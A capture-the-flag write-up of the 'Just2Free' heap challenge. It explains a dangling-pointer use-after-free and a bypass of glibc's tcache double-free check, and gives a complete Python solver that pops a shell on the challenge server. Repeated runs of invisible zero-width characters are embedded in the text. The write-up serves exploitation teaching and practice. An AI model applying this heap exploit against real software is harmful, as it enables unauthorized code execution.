← Back to Writeups
CUSTOMEasypwn

Just2Free

XESXOR9/2/20264 min read
#pwn#custom#easy#chunk_aliasing#dangling_pointer_uaf#system_command_overwrite#tcache_key_double_free_bypass#linux

Just2Free

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: chunk_aliasing, dangling_pointer_uaf, system_command_overwrite, tcache_key_double_free_bypass

Summary

Task: heap note-manager where free() leaves a dangling STROCHKEE[] pointer and modify_string only checks the stale SIZES[] entry (UAF). Solution: alias a live 40-byte string over a struct executor via a tcache-key-bypass double free (reallocate the chunk to clear its key before re-freeing), overwrite command with /bin/sh, and trigger system().

Just2Free — spbctf

Description

Just2Free — pwn. nc 109.233.56.90 11730 Author hint: "This one is mega-easy double free()!" Files: mc6.elf (x86-64 PIE, dynamically linked, not stripped) and mc6.c (source).

A heap "note manager" with a menu:

  • s — allocate a string (malloc(size), pointer stored in STROCHKEE[COUNT], size in SIZES[COUNT])
  • m — modify a string
  • f — free a string
  • e — allocate an executor
  • x — execute the executor's command (only shown after an executor exists) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Goal: get a shell on the remote container and read the flag.

Analysis

Key structures / functions in mc6.c:

c
struct executor { char command[40]; };   // malloc(sizeof) -> 40 bytes -> 0x30 tcache bin
                                          // command initialized to "ls -la"
void execute_command(struct executor *obj) { system(obj->command); }

char *STROCHKEE[100];
int   SIZES[100];
int   COUNT = 0;
  • allocate_string(): reads an integer size, malloc(size), memset(0), stores pointer and size, COUNT++.
  • free_string(): free(STROCHKEE[idx]), then SIZES[idx] = 0 — but does NOT null STROCHKEE[idx]. This leaves a dangling pointer → use-after-free.
  • modify_string(): reads idx, reads up to 255 bytes with scanf("%255s", buf), allows the write only if strlen(buf) < SIZES[idx], then strcpy(STROCHKEE[idx], buf). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The core weakness. A 40-byte string malloc(40) lands in the same 0x30 tcache bin as struct executor. Because free_string() leaves the STROCHKEE pointer dangling and modify_string() gates writes only on SIZES[idx] (a stale value, not on liveness), we can make a live, writable string alias the executor's command buffer, overwrite it with /bin/sh, and let execute_command() run system("/bin/sh").

The obstacle — tcache key double-free detection. The remote runs a modern glibc. free() writes a tcache key into the freed chunk; a second free() of the same chunk while the key is still set triggers: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

free(): double free detected in tcache 2
Aborted

This was confirmed empirically against the server. A naive same-index double free does not work.

Two pitfalls, and how the exploit sidesteps them:

  1. Naive double free is detected. Fix: malloc() clears the key when it hands a chunk back out. Reallocate the chunk (popping it from the bin) between the two free()s so its key is cleared — the second free then passes undetected.
  2. You cannot modify a freed string directly. free_string() sets SIZES[idx] = 0, so modify_string() rejects any input (strlen(buf) >= 0 is always true, so strlen(buf) < SIZES[idx] is always false). Work around it by keeping a separately-indexed live alias (idx2 with SIZE2 = 40) that points to the same physical chunk. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Tcache bins are LIFO. Steps (all chunks are 40 bytes → 0x30 bin):

  1. s 40 → A (idx0, SIZE0=40)
  2. s 40 → B (idx1, SIZE1=40)
  3. f 0 → tcache: [A]
  4. f 1 → tcache: [B -> A] (B at head)
  5. s 40 → malloc pops B as idx2 (LIVE, SIZE2=40, key cleared). tcache: [A]
  6. f 1 → free B again through the still-valid idx1. Key was cleared in step 5 → no detection. tcache: [B -> A]
  7. e → executor malloc(40) pops B (head). EXECUTOR->command and STROCHKEE[2] now alias the same chunk.
  8. m 2 "/bin/sh" → overwrite the command buffer through the live alias (fits: SIZE2=40).
  9. x → execute_command() → system("/bin/sh"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: a shell as uid=6(man) inside a docker container; cat flag.txt yields the flag.

Solver

python
#!/usr/bin/env python3
import socket, sys, time

HOST, PORT = "109.233.56.90", 11730

def recv_until(s, marker, timeout=4):
    s.settimeout(timeout)
    data = b""
    try:
        while marker not in data:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    return data

def main():
    s = socket.socket()
    s.connect((HOST, PORT))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    def alloc(size):
        recv_until(s, b"choice: ")
        s.sendall(b"s\n")
        recv_until(s, b"Enter size: ")
        s.sendall(str(size).encode()+b"\n")
    def free(idx):
        recv_until(s, b"choice: ")
        s.sendall(b"f\n")
        recv_until(s, b"free (0")
        s.sendall(str(idx).encode()+b"\n")
    def modify(idx, text):
        recv_until(s, b"choice: ")
        s.sendall(b"m\n")
        recv_until(s, b"Enter index to modify")
        s.sendall(str(idx).encode()+b"\n")
        recv_until(s, b"max ")
        s.sendall(text.encode()+b"\n")
    def executor():
        recv_until(s, b"choice: ")
        s.sendall(b"e\n")
    def execute():
        recv_until(s, b"choice: ")
        s.sendall(b"x\n")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # 40-byte strings -> same 0x30 tcache bin as executor (command[40])
    alloc(40)   # idx0 = A
    alloc(40)   # idx1 = B
    free(0)     # tcache: [A]
    free(1)     # tcache: [B, A]
    alloc(40)   # idx2 = B (popped, key cleared). tcache: [A]. B is LIVE, SIZE2=40
    free(1)     # free B again (key cleared) -> tcache: [B, A]. no detection.
    executor()  # executor = B (head). EXECUTOR->command == STROCHKEE[2]
    # overwrite command via live idx2 (SIZE2=40, room for "/bin/sh")
    modify(2, "/bin/sh")
    execute()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # interactive shell
    time.sleep(0.5)
    s.sendall(b"cat flag* /flag* 2>/dev/null; ls -la; id\n")
    time.sleep(1.0)
    data = recv_until(s, b"NEVERSEEN", timeout=4)
    sys.stdout.write(data.decode(errors="replace"))
    print("\n--- interactive ---")
    s.settimeout(2)
    try:
        while True:
            d = s.recv(4096)
            if not d: break
            sys.stdout.write(d.decode(errors="replace"))
    except socket.timeout:
        pass
    s.close()

main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍